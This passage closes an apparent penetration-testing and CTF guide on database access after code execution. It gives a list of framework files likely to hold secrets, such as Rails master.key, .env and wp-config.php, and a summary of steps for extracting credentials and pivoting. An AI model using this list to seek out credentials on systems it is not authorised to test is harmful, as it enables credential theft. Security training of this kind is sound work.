puts "Rails/ActiveRecord Quick Commands:"
rails_commands.each do |name, command|
    puts "// #{name}\n#{command}\n"
end

Common File Locations for Sensitive Data

# Common locations for sensitive data by framework

## Flask/Django
- app.py, wsgi.py, settings.py
- config.py, instance/config.py
- .env, .flaskenv
- credentials.json
- migrations/versions/*.py (may contain sensitive data)

## Rails
- config/database.yml
- config/secrets.yml
- config/credentials.yml.enc
- config/master.key
- db/seeds.rb

## PHP
- wp-config.php (WordPress)
- configuration.php (Joomla)
- config.php (General)
- .env (Laravel)
- parameters.yml (Symfony)

## Node.js
- config.js
- .env
- credentials.json
- secrets.json

Conclusion

Database access is a critical aspect of web application penetration testing and CTF challenges. This guide has provided a comprehensive set of techniques to:

  1. Identify web technologies and frameworks
  2. Leverage code execution to explore the application environment
  3. Access databases through ORM libraries
  4. Extract credentials and sensitive information
  5. Pivot to gain further access and privileges

Remember to maintain a methodical approach, documenting your discoveries, and focusing on legitimate testing targets within the scope of your assessment or challenge. The techniques described here should be used responsibly and ethically, always within the bounds of proper authorization.

No comments yet. Be the first to comment!